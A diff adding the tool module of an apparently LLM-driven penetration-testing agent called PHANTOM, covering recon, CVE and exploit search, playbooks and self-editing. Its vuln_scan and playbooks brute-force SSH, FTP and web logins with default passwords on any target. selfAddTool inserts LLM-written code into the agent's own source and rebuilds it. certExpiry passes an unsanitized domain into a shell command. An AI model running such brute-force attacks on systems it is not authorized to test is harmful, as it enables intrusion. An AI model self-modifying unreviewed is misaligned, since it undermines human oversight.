resolve(resolved, ".."); + if (!existsSync(dir)) mkdirSync(dir, { recursive: true }); + writeFileSync(resolved, content, "utf-8"); + return `✅ Wrote ${content.length} bytes to ${resolved}`; + } catch (e: any) { + return `[File Write Error] ${e.message}`; + } +} + +async function fileEdit(input: string): Promise { + const parts = input.split("|"); + if (parts.length < 3) return "[File Edit] Usage: path|old_string|new_string"; + const [path, oldStr, ...rest] = parts; + const newStr = rest.join("|"); + try { + const resolved = resolve(path); + if (!existsSync(resolved)) return `[File Edit] Not found: ${path}`; + let content = readFileSync(resolved, "utf-8"); + if (!content.includes(oldStr)) return `[File Edit] String not found in ${path}`; + content = content.replace(oldStr, newStr); + writeFileSync(resolved, content, "utf-8"); + return `✅ Edited ${path} — replaced "${oldStr.substring(0, 60)}..."`; + } catch (e: any) { + return `[File Edit Error] ${e.message}`; + } +} + +async function fileSearch(input: string): Promise { + const parts = input.split("|").map(s => s.trim()); + const searchPath = parts.length >= 2 ? parts[0] : "."; + const pattern = parts.length >= 2 ? parts[1] : parts[0]; + if (!pattern) return "[File Search] Usage: [path|]pattern"; + try { + const r = execSync( + `rg -rn '${pattern.replace(/'/g, "'\\''")}' '${searchPath}' 2>/dev/null | head -40`, + { encoding: "utf-8", timeout: 15000, maxBuffer: 1024 * 1024 } + ); + if (!r.trim()) return `(no matches for "${pattern}" in ${searchPath})`; + const lines = r.trim().split("\n"); + return `🔍 "${pattern}" in ${searchPath}: ${lines.length} matches\n${lines.slice(0, 40).join("\n")}`; + } catch { + return `(no matches or rg not available for "${pattern}" in ${searchPath})`; + } +} + +async function fileList(path: string): Promise { + try { + const resolved = resolve(path || "."); + if (!existsSync(resolved)) return `[File List] Not found: ${path}`; + const entries = readdirSync(resolved, { withFileTypes: true }); + const lines: string[] = [`📁 ${resolved}:`]; + const dirs: string[] = [], files: string[] = []; + for (const e of entries) { + if (e.name.startsWith(".")) continue; + if (e.isDirectory()) dirs.push(e.name); + else files.push(e.name); + } + dirs.sort().forEach(d => lines.push(` 📁 ${d}/`)); + files.sort().forEach(f => { + try { + const s = statSync(resolve(resolved, f)); + lines.push(` 📄 ${f} (${s.size.toLocaleString()}b)`); + } catch { lines.push(` 📄 ${f}`); } + }); + lines.push(`\n${dirs.length} dirs, ${files.length} files`); + return lines.join("\n"); + } catch (e: any) { + return `[File List Error] ${e.message}`; + } +} + +// ── SELF TOOLS ──────────────────────────────────────────── +async function selfInfo(): Promise { + try { + const pkg: Record = existsSync(resolve(PHANTOM_DIR, "package.json")) + ? JSON.parse(readFileSync(resolve(PHANTOM_DIR, "package.json"), "utf-8")) + : {}; + const toolNames = Object.keys(hackerTools).sort(); + const srcFiles: string[] = []; + function walk(dir: string) { + let entries: string[]; + try { entries = readdirSync(dir); } catch { return; } + for (const e of entries) { + if (e === "node_modules" || e.startsWith(".")) continue; + const full = resolve(dir, e); + try { + if (statSync(full).isDirectory()) walk(full); + else if (e.endsWith(".ts") || e.endsWith(".mjs") || e.endsWith(".json")) srcFiles.push(full.replace(PHANTOM_DIR, ".")); + } catch {} + } + } + walk(PHANTOM_DIR); + + const lines: string[] = [ + `╔══════════════════════════════════════╗`, + `║ PHANTOM — Cybersecurity Assistant ║`, + `╚══════════════════════════════════════╝`, + ``, + `Version: ${pkg.version || "dev"}`, + `Runtime: Node.js ${process.version}`, + `Platform: ${process.platform} ${process.arch}`, + `Project: ${PHANTOM_DIR}`, + `Config: ${resolve(homedir(), ".config", "phantom", "config.json")}`, + ``, + `📦 ${toolNames.length} Tools:`, + ` ${toolNames.join(", ")}`, + ``, + `📁 ${srcFiles.length} Source Files:`, + ...srcFiles.map(f => ` ${f}`), + ``, + `🤖 ReAct Loop: Active`, + ` LLM: ${process.env.OPENAI_API_KEY ? "Connected (OpenAI)" : process.env.OLLAMA_HOST ? "Ollama" : "Not connected (demo mode)"}`, + ` Memory: ~/.config/phantom/memory/`, + ` Reports: ~/.config/phantom/reports/`, + ]; + return lines.join("\n"); + } catch (e: any) { + return `[Self Info Error] ${e.message}`; + } +} + +async function selfRead(path: string): Promise { + try { + const resolved = resolve(PHANTOM_DIR, path.replace(/^\.\//, "")); + if (!resolved.startsWith(PHANTOM_DIR)) return `[Self Read] Access denied: path outside project`; + if (!existsSync(resolved)) return `[Self Read] Not found: ${path}`; + const content = readFileSync(resolved, "utf-8"); + if (content.length > 50000) { + return content.substring(0, 50000) + `\n... (truncated, ${content.length} chars total)`; + } + return content; + } catch (e: any) { + return `[Self Read Error] ${e.message}`; + } +} + +async function selfEdit(input: string): Promise { + const parts = input.split("|"); + if (parts.length < 3) return "[Self Edit] Usage: relative_path|old_string|new_string"; + const [relPath, oldStr, ...rest] = parts; + const newStr = rest.join("|"); + try { + const resolved = resolve(PHANTOM_DIR, relPath.replace(/^\.\//, "")); + if (!resolved.startsWith(PHANTOM_DIR)) return `[Self Edit] Access denied: path outside project`; + if (!existsSync(resolved)) return `[Self Edit] Not found: ${relPath}`; + let content = readFileSync(resolved, "utf-8"); + if (!content.includes(oldStr)) return `[Self Edit] String not found in ${relPath}`; + content = content.replace(oldStr, newStr); + writeFileSync(resolved, content, "utf-8"); + return `✅ Self-edited ${relPath} — replaced "${oldStr.substring(0, 60)}..."`; + } catch (e: any) { + return `[Self Edit Error] ${e.message}`; + } +} + +// ── VULN SCAN ──────────────────────────────────────────── +async function vulnScan(target: string): Promise { + const domain = target.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + const ts = new Date().toISOString().replace(/[:.]/g, "-"); + const lines: string[] = [ + `# Phantom Vulnerability Scan Report`, + `**Target:** ${domain}`, + `**Date:** ${new Date().toUTCString()}`, + `---`, `` + ]; + // Phase 1: Recon + lines.push(`## Phase 1: Reconnaissance\n`); + try { lines.push(`### WHOIS\n\`\`\`\n${await whois(domain)}\n\`\`\``); } catch {} + try { lines.push(`### DNS\n\`\`\`\n${await dnsLookup(domain)}\n\`\`\``); } catch {} + try { lines.push(`### Subdomains\n\`\`\`\n${await subdomainEnum(domain)}\n\`\`\``); } catch {} + try { lines.push(`### HTTP Headers\n\`\`\`\n${await httpHeaders(`https://${domain}`)}\n\`\`\``); } catch {} + try { lines.push(`### SSL/TLS\n\`\`\`\n${await sslCheck(domain)}\n\`\`\``); } catch {} + const ports = await portScan(domain); + lines.push(`### Open Ports\n\`\`\`\n${ports}\n\`\`\``); + // Phase 2: CVEs + lines.push(`\n## Phase 2: Vulnerability Search\n`); + try { lines.push(`### CVEs\n\`\`\`\n${await cveSearch(domain)}\n\`\`\``); } catch {} + // Phase 3: Exploits + lines.push(`\n## Phase 3: Exploit Search\n`); + try { lines.push(`### Exploits\n\`\`\`\n${await searchsploit(domain)}\n\`\`\``); } catch {} + // Phase 4: Brute force + lines.push(`\n## Phase 4: Brute Force Testing\n`); + const openPorts = [...ports.matchAll(/(\d+)\/tcp\s+open/gi)].map(m => parseInt(m[1])); + if (openPorts.includes(22)) { + lines.push(`- Port 22 (SSH) open — attempting brute force`); + try { lines.push(` \`\`\`\n${await bruteforceFn(`ssh|${domain}|root|admin,root,toor,123456,password`)}\n\`\`\``); } catch {} + } + if (openPorts.includes(21)) { + lines.push(`- Port 21 (FTP) open — attempting brute force`); + try { lines.push(` \`\`\`\n${await bruteforceFn(`ftp|${domain}|admin|admin,password,ftp`)}\n\`\`\``); } catch {} + } + if (openPorts.some(p => [80, 443, 8080, 8443].includes(p))) { + lines.push(`- Web server detected — attempting brute force`); + try { lines.push(` \`\`\`\n${await bruteforceFn(`http|https://${domain}/login|admin|admin,password,admin123`)}\n\`\`\``); } catch {} + } + // Save report + const reportDir = _config.report_dir || resolve(homedir(), ".config", "phantom", "reports"); + if (!existsSync(reportDir)) mkdirSync(reportDir, { recursive: true }); + const reportPath = resolve(reportDir, `vulnscan_${domain}_${ts}.md`); + writeFileSync(reportPath, lines.join("\n"), "utf-8"); + lines.push(`\n---\n📄 Full report saved: ${reportPath}`); + return lines.join("\n"); +} + +// ── REPORT SAVE ────────────────────────────────────────── +async function reportSave(input: string): Promise { + const parts = input.split("|"); + const name = (parts[0] || `report_${Date.now()}`).replace(/[^a-z0-9_-]/gi, "_"); + const content = parts.slice(1).join("|") || input; + const reportDir = _config.report_dir || resolve(homedir(), ".config", "phantom", "reports"); + if (!existsSync(reportDir)) mkdirSync(reportDir, { recursive: true }); + const fp = resolve(reportDir, `${name}.md`); + writeFileSync(fp, content, "utf-8"); + return `📄 Report saved: ${fp}`; +} + +// ── SESSIONS ───────────────────────────────────────────── +const SESSIONS_DIR = resolve(homedir(), ".config", "phantom", "sessions"); + +async function sessionSave(name: string): Promise { + try { + if (!existsSync(SESSIONS_DIR)) mkdirSync(SESSIONS_DIR, { recursive: true }); + const slug = name.replace(/[^a-z0-9_-]/gi, "_"); + const data = { name, created: new Date().toISOString(), tools: Object.keys(hackerTools).length }; + writeFileSync(resolve(SESSIONS_DIR, `${slug}.json`), JSON.stringify(data, null, 2), "utf-8"); + return `✅ Session saved: ${slug}`; + } catch (e: any) { return `[Session Error] ${e.message}`; } +} + +async function sessionLoad(name: string): Promise { + try { + const slug = name.replace(/[^a-z0-9_-]/gi, "_"); + const fp = resolve(SESSIONS_DIR, `${slug}.json`); + if (!existsSync(fp)) return `[Session] Not found: ${name}`; + const data = JSON.parse(readFileSync(fp, "utf-8")); + return `📂 Session: ${data.name}\nCreated: ${data.created}\nTools: ${data.tools}`; + } catch (e: any) { return `[Session Error] ${e.message}`; } +} + +// ── CODE GEN ───────────────────────────────────────────── +async function codeGen(input: string): Promise { + const parts = input.split("|"); + const prompt = parts[0]; + const lang = parts[1] || "javascript"; + const outPath = parts[2] || ""; + const apiKey = process.env.OPENAI_API_KEY; + if (!apiKey) { + const stub = `// ${prompt}\n// Language: ${lang}\nfunction ${prompt.replace(/[^a-z]/gi, "")}() {\n // TODO: implement\n return null;\n}\n`; + if (outPath) { writeFileSync(resolve(outPath), stub, "utf-8"); return `✅ Stub written to ${outPath}`; } + return stub; + } + try { + const r = await fetch("https://api.openai.com/v1/chat/completions", { + method: "POST", + headers: { "Content-Type": "application/json", Authorization: `Bearer ${apiKey}` }, + body: JSON.stringify({ model: "gpt-4o-mini", messages: [{ role: "system", content: `You generate only ${lang} code. No explanations.` }, { role: "user", content: prompt }], max_tokens: 2000 }), + signal: AbortSignal.timeout(30000), + }); + const data = await r.json() as any; + const code = data?.choices?.[0]?.message?.content || "// Generation failed"; + if (outPath) { writeFileSync(resolve(outPath), code, "utf-8"); return `✅ Generated ${code.length} chars → ${outPath}`; } + return code; + } catch (e: any) { return `[Code Gen Error] ${e.message}`; } +} + +// ── SELF ADD TOOL (Auto-Integrate) ───────────────────────── +async function selfAddTool(prompt: string): Promise { + const apiKey = process.env.OPENAI_API_KEY; + if (!apiKey) return "[Self Add Tool] Requires OPENAI_API_KEY"; + try { + const r = await fetch("https://api.openai.com/v1/chat/completions", { + method: "POST", + headers: { "Content-Type": "application/json", Authorization: `Bearer ${apiKey}` }, + body: JSON.stringify({ + model: "gpt-4o-mini", + messages: [{ role: "system", content: `Generate ONLY a Node.js async function taking one string input returning Promise. Name after the tool purpose. Start with: // description: one-liner. No imports, no markdown, no backticks.` }, { role: "user", content: `Tool that: ${prompt}` }], + max_tokens: 1500, + }), + signal: AbortSignal.timeout(30000), + }); + const data = await r.json() as any; + const result = data?.choices?.[0]?.message?.content || "// description: Generated tool\nasync function newTool(input) { return 'TODO'; }"; + const toolName = result.match(/async function\s+(\w+)/)?.[1] || "newTool"; + const desc = result.match(/\/\/\s*description:\s*(.+)/i)?.[1] || prompt.substring(0, 100); + const registryLine = ` ${toolName}: {\n description: "${desc.substring(0, 150)}",\n execute: ${toolName},\n },`; + + // ── Auto-integrate into hacker-tools.ts ── + const tsPath = resolve(process.cwd(), "src/core/hacker-tools.ts"); + let ts = readFileSync(tsPath, "utf-8"); + if (ts.includes(`async function ${toolName}(`)) return `[Self Add] "${toolName}" already exists in TS source`; + + const exportPos = ts.indexOf("export const hackerTools: Record = {"); + if (exportPos === -1) return "[Self Add] Cannot find TS insertion point"; + ts = ts.slice(0, exportPos) + "\n" + result.trim() + "\n\n" + ts.slice(exportPos); + + const closePos = ts.lastIndexOf("\n};"); + if (closePos === -1) return "[Self Add] Cannot find TS closing"; + ts = ts.slice(0, closePos + 1) + registryLine + "\n" + ts.slice(closePos + 1); + writeFileSync(tsPath, ts, "utf-8"); + + // ── Auto-integrate into phantom.mjs ── + const mjsPath = resolve(process.cwd(), "phantom.mjs"); + let mjs = readFileSync(mjsPath, "utf-8"); + if (mjs.includes(` ${toolName}: async`)) return `[Self Add] "${toolName}" already exists in MJS source`; + + // Convert async function to arrow function for hackerTools object + const body = result.replace(/async function\s+\w+\s*\(input\)\s*\{/, "").trim(); + const lastBrace = body.lastIndexOf("}"); + const cleanBody = body.substring(0, lastBrace).trim(); + const mjsEntry = ` ${toolName}: async (input) => {\n${cleanBody}\n },`; + + const mjsClose = mjs.lastIndexOf("\n};\n\n// ── EventBus"); + if (mjsClose === -1) return "[Self Add] Cannot find MJS insertion point"; + mjs = mjs.slice(0, mjsClose) + "\n" + mjsEntry + "\n" + mjs.slice(mjsClose); + writeFileSync(mjsPath, mjs, "utf-8"); + + // ── Rebuild ── + try { + execSync("npm run build 2>&1", { cwd: process.cwd(), timeout: 30000, encoding: "utf-8", stdio: "pipe" }); + } catch (e: any) { + // Rollback both files + writeFileSync(tsPath, readFileSync(tsPath, "utf-8").replace("\n" + result.trim() + "\n\n", "").replace(registryLine + "\n", ""), "utf-8"); + writeFileSync(mjsPath, readFileSync(mjsPath, "utf-8").replace("\n" + mjsEntry + "\n", ""), "utf-8"); + return `[Self Add] Build failed — rolled back.\n${(e.message || "").substring(0, 400)}`; + } + + return [ + `✅ Tool "${toolName}" auto-integrated!`, + `📄 src/core/hacker-tools.ts → function + registry`, + `📄 phantom.mjs → function + registry`, + `🔨 npm run build → passed`, + ``, + `Use: @${toolName}|your_input`, + ``, + result.substring(0, 600), + ].join("\n"); + } catch (e: any) { return `[Self Add Error] ${e.message}`; } +} + +// ── KNOWLEDGE BASE ─────────────────────────────────────── +const KNOWLEDGE_DIR = resolve(homedir(), ".config", "phantom", "knowledge"); + +async function knowledgeAdd(input: string): Promise { + try { + const parts = input.split("|"); + const tags = (parts[0] || "general").split(",").map(t => t.trim()).filter(Boolean); + const content = parts.slice(1).join("|").trim(); + if (!content) return "[Knowledge] Usage: tags|content"; + if (!existsSync(KNOWLEDGE_DIR)) mkdirSync(KNOWLEDGE_DIR, { recursive: true }); + const slug = tags[0].replace(/[^a-z0-9_-]/gi, "_") + "_" + Date.now(); + const entry = { tags, content, created: new Date().toISOString() }; + writeFileSync(resolve(KNOWLEDGE_DIR, `${slug}.json`), JSON.stringify(entry, null, 2), "utf-8"); + return `📚 Knowledge saved (tags: ${tags.join(", ")})`; + } catch (e: any) { return `[Knowledge Error] ${e.message}`; } +} + +async function knowledgeSearch(input: string): Promise { + try { + if (!existsSync(KNOWLEDGE_DIR)) return "[Knowledge] Empty — add entries with knowledge_add"; + const q = input.toLowerCase().trim(); + const files = readdirSync(KNOWLEDGE_DIR).filter(f => f.endsWith(".json")); + const results: string[] = []; + for (const f of files) { + const data = JSON.parse(readFileSync(resolve(KNOWLEDGE_DIR, f), "utf-8")); + if (!q || data.tags.some((t: string) => t.toLowerCase().includes(q)) || data.content.toLowerCase().includes(q)) { + results.push(`[${data.tags.join(", ")}] ${data.content.substring(0, 200)}`); + } + } + if (results.length === 0) return `[Knowledge] No results for "${q}"`; + return `📚 Knowledge (${results.length}):\n${results.join("\n")}`; + } catch (e: any) { return `[Knowledge Error] ${e.message}`; } +} + +// ── PLAYBOOKS ──────────────────────────────────────────── +const PLAYBOOKS_DIR = resolve(homedir(), ".config", "phantom", "playbooks"); + +type PlaybookStep = { tool: string; args: string; desc: string }; +type Playbook = { name: string; description: string; variables: string[]; steps: PlaybookStep[] }; + +const BUILTIN_PLAYBOOKS: Playbook[] = [ + { name: "quick_web_recon", description: "Full recon on a web target: WHOIS, DNS, subdomains, ports, headers, SSL", variables: ["target"], steps: [ + { tool: "whois", args: "{{target}}", desc: "WHOIS lookup for registration details" }, + { tool: "dns_lookup", args: "{{target}}", desc: "DNS records (A, MX, NS, TXT, etc.)" }, + { tool: "sub_enum", args: "{{target}}", desc: "Subdomain enumeration via crt.sh" }, + { tool: "port_scan", args: "{{target}}", desc: "TCP port scan of common ports" }, + { tool: "http_headers", args: "https://{{target}}", desc: "HTTP response headers" }, + { tool: "ssl_check", args: "{{target}}", desc: "SSL certificate analysis" }, + ]}, + { name: "vuln_assessment", description: "Full vulnerability assessment: recon + CVE + exploit search", variables: ["target"], steps: [ + { tool: "recon", args: "{{target}}", desc: "Full recon sweep" }, + { tool: "cve_search", args: "{{target}}", desc: "Search known CVEs" }, + { tool: "searchsploit", args: "{{target}}", desc: "Search public exploits" }, + { tool: "bruteforce", args: "ssh|{{target}}|root|admin,root,password", desc: "SSH brute force test" }, + ]}, + { name: "network_footprint", description: "Map a target's network footprint: DNS, whois, geo, ports", variables: ["target"], steps: [ + { tool: "dns_lookup", args: "{{target}}", desc: "DNS records" }, + { tool: "whois", args: "{{target}}", desc: "WHOIS registration" }, + { tool: "geoip", args: "{{target}}", desc: "GeoIP location" }, + { tool: "port_scan", args: "{{target}}", desc: "Open port discovery" }, + { tool: "crawl", args: "https://{{target}}", desc: "Web crawling" }, + ]}, + { name: "full_vulnscan_report", description: "Auto vuln_scan + save report + save session", variables: ["target"], steps: [ + { tool: "vuln_scan", args: "{{target}}", desc: "Full 4-phase vulnerability scan" }, + { tool: "session_save", args: "scan_{{target}}", desc: "Save session state" }, + ]}, +]; + +async function ensureBuiltinPlaybooks(): Promise { + if (!existsSync(PLAYBOOKS_DIR)) mkdirSync(PLAYBOOKS_DIR, { recursive: true }); + for (const pb of BUILTIN_PLAYBOOKS) { + const fp = resolve(PLAYBOOKS_DIR, `${pb.name}.json`); + if (!existsSync(fp)) writeFileSync(fp, JSON.stringify(pb, null, 2), "utf-8"); + } +} + +async function playbookCreate(input: string): Promise { + try { + await ensureBuiltinPlaybooks(); + const parts = input.split("|"); + const name = (parts[0] || `pb_${Date.now()}`).replace(/[^a-z0-9_-]/gi, "_"); + const desc = parts[1] || "Auto-generated playbook"; + const stepsRaw = parts.slice(2).join("|") || `shell|echo "step 1"`; + // Try LLM-powered generation + const apiKey = process.env.OPENAI_API_KEY; + if (apiKey && !stepsRaw.startsWith("shell")) { + try { + const r = await fetch("https://api.openai.com/v1/chat/completions", { + method: "POST", headers: { "Content-Type": "application/json", Authorization: `Bearer ${apiKey}` }, + body: JSON.stringify({ model: "gpt-4o-mini", messages: [ + { role: "system", content: "Generate a JSON playbook. Format: {name, description, variables: [\"target\"], steps: [{tool, args, desc}]}. Only reply with valid JSON." }, + { role: "user", content: `Create a playbook: ${desc}` } + ], max_tokens: 1000 }), + signal: AbortSignal.timeout(30000), + }); + const data = await r.json() as any; + try { const pb = JSON.parse(data?.choices?.[0]?.message?.content || "{}"); if (pb.steps) { pb.name = name; pb.description = desc; writeFileSync(resolve(PLAYBOOKS_DIR, `${name}.json`), JSON.stringify(pb, null, 2), "utf-8"); return `✅ LLM-created playbook: ${name} (${pb.steps.length} steps)`; } } catch {} + } catch {} + } + // Manual stub + const steps = stepsRaw.split(",").map(s => ({ tool: "shell", args: s.trim(), desc: s.trim() })); + const pb: Playbook = { name, description: desc, variables: ["target"], steps }; + writeFileSync(resolve(PLAYBOOKS_DIR, `${name}.json`), JSON.stringify(pb, null, 2), "utf-8"); + return `📋 Playbook created: ${name} (${steps.length} steps)`; + } catch (e: any) { return `[Playbook Error] ${e.message}`; } +} + +async function playbookList(): Promise { + try { + await ensureBuiltinPlaybooks(); + const files = readdirSync(PLAYBOOKS_DIR).filter(f => f.endsWith(".json")); + if (files.length === 0) return "[Playbook] No playbooks found"; + const lines = files.map(f => { + const pb = JSON.parse(readFileSync(resolve(PLAYBOOKS_DIR, f), "utf-8")); + return `📋 ${pb.name} — ${pb.description?.substring(0, 80)} (${pb.steps?.length || 0} steps)`; + }); + return `Available playbooks (${files.length}):\n${lines.join("\n")}`; + } catch (e: any) { return `[Playbook Error] ${e.message}`; } +} + +async function playbookRun(input: string): Promise { + try { + await ensureBuiltinPlaybooks(); + const parts = input.split("|"); + const name = parts[0]?.trim(); + if (!name) return "[Playbook] Usage: playbook_run|name|var1=val1,var2=val2"; + const fp = resolve(PLAYBOOKS_DIR, `${name.replace(/[^a-z0-9_-]/gi, "_")}.json`); + if (!existsSync(fp)) return `[Playbook] Not found: ${name}`; + const pb: Playbook = JSON.parse(readFileSync(fp, "utf-8")); + // Parse variable assignments + const vars: Record = {}; + if (parts[1]) { + parts[1].split(",").forEach(p => { const [k, v] = p.split("="); if (k && v) vars[k.trim()] = v.trim(); }); + } + const log: string[] = [`Executing playbook: ${pb.name}`, `Description: ${pb.description}`, `---`, ``]; + for (let i = 0; i < pb.steps.length; i++) { + const step = pb.steps[i]; + let args = step.args; + for (const [k, v] of Object.entries(vars)) args = args.replace(new RegExp(`\\{\\{${k}\\}\\}`, "g"), v); + log.push(`Step ${i + 1}/${pb.steps.length}: @${step.tool}|${args} — ${step.desc}`); + try { + const tool = hackerTools[step.tool]; + if (!tool) { log.push(` ⚠ Unknown tool: ${step.tool}`); continue; } + const result = await tool.execute(args); + log.push(` ${result.substring(0, 1000)}`); + if (result.length > 1000) log.push(` … (${result.length} total chars)`); + } catch (e: any) { log.push(` ⚠ Error: ${e.message}`); } + log.push(``); + } + log.push(`---\n✅ Playbook "${pb.name}" complete (${pb.steps.length} steps)`); + return log.join("\n"); + } catch (e: any) { return `[Playbook Error] ${e.message}`; } +} + +async function playbookEdit(input: string): Promise { + try { + const parts = input.split("|"); + const name = parts[0]?.trim(); + if (!name) return "[Playbook] Usage: playbook_edit|name|step_index|new_tool|new_args|new_desc"; + const fp = resolve(PLAYBOOKS_DIR, `${name.replace(/[^a-z0-9_-]/gi, "_")}.json`); + if (!existsSync(fp)) return `[Playbook] Not found: ${name}`; + const pb: Playbook = JSON.parse(readFileSync(fp, "utf-8")); + if (parts[1] === "desc" && parts[2]) { pb.description = parts[2]; writeFileSync(fp, JSON.stringify(pb, null, 2), "utf-8"); return `✅ Description updated`; } + if (parts[1] === "add" && parts[2]) { pb.steps.push({ tool: parts[2], args: parts[3] || "", desc: parts[4] || parts[2] }); writeFileSync(fp, JSON.stringify(pb, null, 2), "utf-8"); return `✅ Step added`; } + const idx = parseInt(parts[1]) - 1; + if (isNaN(idx) || idx < 0 || idx >= pb.steps.length) return `[Playbook] Invalid step index. Steps: 1-${pb.steps.length}`; + if (parts[2]) pb.steps[idx].tool = parts[2]; + if (parts[3]) pb.steps[idx].args = parts[3]; + if (parts[4]) pb.steps[idx].desc = parts[4]; + writeFileSync(fp, JSON.stringify(pb, null, 2), "utf-8"); + return `✅ Playbook "${name}" step ${idx+1} updated: @${pb.steps[idx].tool}|${pb.steps[idx].args}`; + } catch (e: any) { return `[Playbook Error] ${e.message}`; } +} + +// ── NEW RECON TOOLS ────────────────────────────────────── +async function geoip(input: string): Promise { + try { + const ip = input.trim(); + // Try ip-api.com free tier + const r = await fetch(`http://ip-api.com/json/${ip}?fields=status,message,country,regionName,city,zip,lat,lon,isp,org,as,query`, { signal: AbortSignal.timeout(8000) }); + const d = await r.json() as any; + if (d.status === "fail") return `[GeoIP] ${d.message || "Unknown"}`; + return [ + `🌍 GeoIP: ${d.query}`, + `Country: ${d.country}`, + `Region: ${d.regionName}`, + `City: ${d.city}`, + `ZIP: ${d.zip}`, + `Coordinates: ${d.lat}, ${d.lon}`, + `ISP: ${d.isp}`, + `Org: ${d.org}`, + `ASN: ${d.as}`, + ].join("\n"); + } catch (e: any) { return `[GeoIP Error] ${e.message}`; } +} + +async function dnsZoneTransfer(input: string): Promise { + try { + const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + // Get NS records + const nsResp = await fetch(`https://dns.google/resolve?name=${domain}&type=NS`, { signal: AbortSignal.timeout(8000) }); + const nsData = await nsResp.json() as any; + const nsList = nsData?.Answer?.map((a: Record) => a.data.replace(/\.$/, "")) || []; + if (nsList.length === 0) return "[DNS Zone] No NS records found"; + const results: string[] = [`Testing ${nsList.length} name servers for zone transfer on ${domain}:`, ``]; + for (const ns of nsList) { + try { + const r = await fetch(`https://dns.google/resolve?name=${domain}&type=AXFR&nameserver=${ns}`, { signal: AbortSignal.timeout(10000) }); + const data = await r.json() as any; + if (data?.Answer?.length > 0) { results.push(`⚠ VULNERABLE: ${ns} returned ${data.Answer.length} records!`); data.Answer.forEach((a: Record) => results.push(` ${a.name} ${a.type} ${a.data}`)); } + else results.push(`✅ ${ns} — zone transfer denied`); + } catch { results.push(`⏰ ${ns} — timeout/error`); } + } + return results.join("\n"); + } catch (e: any) { return `[DNS Zone Error] ${e.message}`; } +} + +async function httpMethods(input: string): Promise { + try { + const url = input.startsWith("http") ? input : `https://${input}`; + const methods = ["GET", "POST", "PUT", "DELETE", "OPTIONS", "PATCH", "HEAD", "TRACE", "CONNECT"]; + const results: string[] = [`Testing HTTP methods on ${url}:`, ``]; + for (const method of methods) { + try { + const r = await fetch(url, { method, signal: AbortSignal.timeout(5000) }); + const allow = r.headers.get("allow") || r.headers.get("access-control-allow-methods") || ""; + results.push(` ${method} → ${r.status}${allow ? ` (Allow: ${allow})` : ""}`); + } catch (e: any) { results.push(` ${method} → Error: ${e.message.substring(0, 60)}`); } + } + return results.join("\n"); + } catch (e: any) { return `[HTTP Methods Error] ${e.message}`; } +} + +async function robotsTxt(input: string): Promise { + try { + const baseUrl = input.startsWith("http") ? input : `https://${input}`; + const url = `${baseUrl.replace(/\/+$/, "")}/robots.txt`; + const r = await fetch(url, { signal: AbortSignal.timeout(8000) }); + if (r.status === 404) return `[robots.txt] Not found at ${url}`; + const text = await r.text(); + // Parse interesting entries + const disallowed = text.match(/Disallow:\s*(.+)/gi) || []; + const sitemaps = text.match(/Sitemap:\s*(.+)/gi) || []; + const comments = text.match(/#.*/g) || []; + return [ + `🤖 robots.txt from ${url}:`, + `---`, + text.substring(0, 2000), + ...(disallowed.length > 0 ? [`\n🚫 Disallowed paths (${disallowed.length}):`, ...disallowed] : []), + ...(sitemaps.length > 0 ? [`\n🗺 Sitemaps (${sitemaps.length}):`, ...sitemaps] : []), + ].join("\n"); + } catch (e: any) { return `[robots.txt Error] ${e.message}`; } +} + +async function emailVerify(input: string): Promise { + try { + const email = input.trim().toLowerCase(); + const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; + if (!emailRegex.test(email)) return `[Email] Invalid format: ${email}`; + const domain = email.split("@")[1]; + // Check MX records via DNS Google + const r = await fetch(`https://dns.google/resolve?name=${domain}&type=MX`, { signal: AbortSignal.timeout(8000) }); + const data = await r.json() as any; + const mxRecords = data?.Answer?.filter((a: Record) => a.type === 15) || []; + if (mxRecords.length === 0) return `[Email] ✅ Format valid, but no MX records for ${domain} — domain may not accept mail`; + const mxList = mxRecords.map((a: Record) => a.data.replace(/\.$/, "")).join(", "); + return `✅ ${email}\nDomain: ${domain}\nMX servers: ${mxList}\nMail delivery likely: YES`; + } catch (e: any) { return `[Email Error] ${e.message}`; } +} + +// ── REVERSE DNS ── +async function reverseDns(input: string): Promise { + try { + const ip = input.trim(); + const r = await fetch(`https://dns.google/resolve?name=${ip}&type=PTR`, { signal: AbortSignal.timeout(8000) }); + const d = await r.json() as any; + const ptrs = d?.Answer?.filter((a: Record) => a.type === 12).map((a: Record) => a.data) || []; + return ptrs.length ? `🔁 PTR for ${ip}:\n${ptrs.join("\n")}` : `[Reverse DNS] No PTR for ${ip}`; + } catch (e: any) { return `[Reverse DNS Error] ${e.message}`; } +} + +// ── WAYBACK MACHINE ── +async function wayback(input: string): Promise { + try { + const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + const r = await fetch(`https://web.archive.org/cdx/search/cdx?url=${domain}/*&output=json&limit=20&fl=timestamp,original,statuscode`, { signal: AbortSignal.timeout(15000) }); + const d = await r.json() as any; + if (!Array.isArray(d) || d.length < 2) return `[Wayback] No snapshots for ${domain}`; + return `🗄 Wayback: ${domain} (${d.length - 1} snapshots)\n${d.slice(1).map((row: string[]) => ` ${row[0].substring(0, 8)} ${row[2] || "—"} ${row[1]}`).join("\n")}`; + } catch (e: any) { return `[Wayback Error] ${e.message}`; } +} + +// ── CERT EXPIRY ── +async function certExpiry(input: string): Promise { + try { + const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + const raw = execSync(`openssl s_client -connect ${domain}:443 -servername ${domain} /dev/null | openssl x509 -noout -dates`, { timeout: 10000, encoding: "utf-8" }); + if (!raw.trim()) return `[Cert Expiry] No cert for ${domain}`; + const nb = raw.match(/notBefore=(.+)/)?.[1] || "?"; + const na = raw.match(/notAfter=(.+)/)?.[1] || "?"; + const days = na !== "?" ? Math.round((new Date(na).getTime() - Date.now()) / 86400000) : NaN; + return `🔒 ${domain}\nIssued: ${nb}\nExpires: ${na}${!isNaN(days) ? `\nDays left: ${days}` : ""}`; + } catch (e: any) { return `[Cert Expiry Error] ${e.message}`; } +} + +// ── CORS TEST ── +async function corsTest(input: string): Promise { + try { + const url = input.startsWith("http") ? input : `https://${input}`; + const origins = ["https://evil.com", "null", "https://attacker.org", "https://example.com", ""]; + const r: string[] = [`🔓 CORS test: ${url}\n`]; + for (const origin of origins) { + try { + const resp = await fetch(url, { method: "GET", headers: origin ? { Origin: origin } : {}, signal: AbortSignal.timeout(5000) }); + const acao = resp.headers.get("access-control-allow-origin") || "—"; + const creds = resp.headers.get("access-control-allow-credentials") || ""; + r.push(` Origin: ${origin || 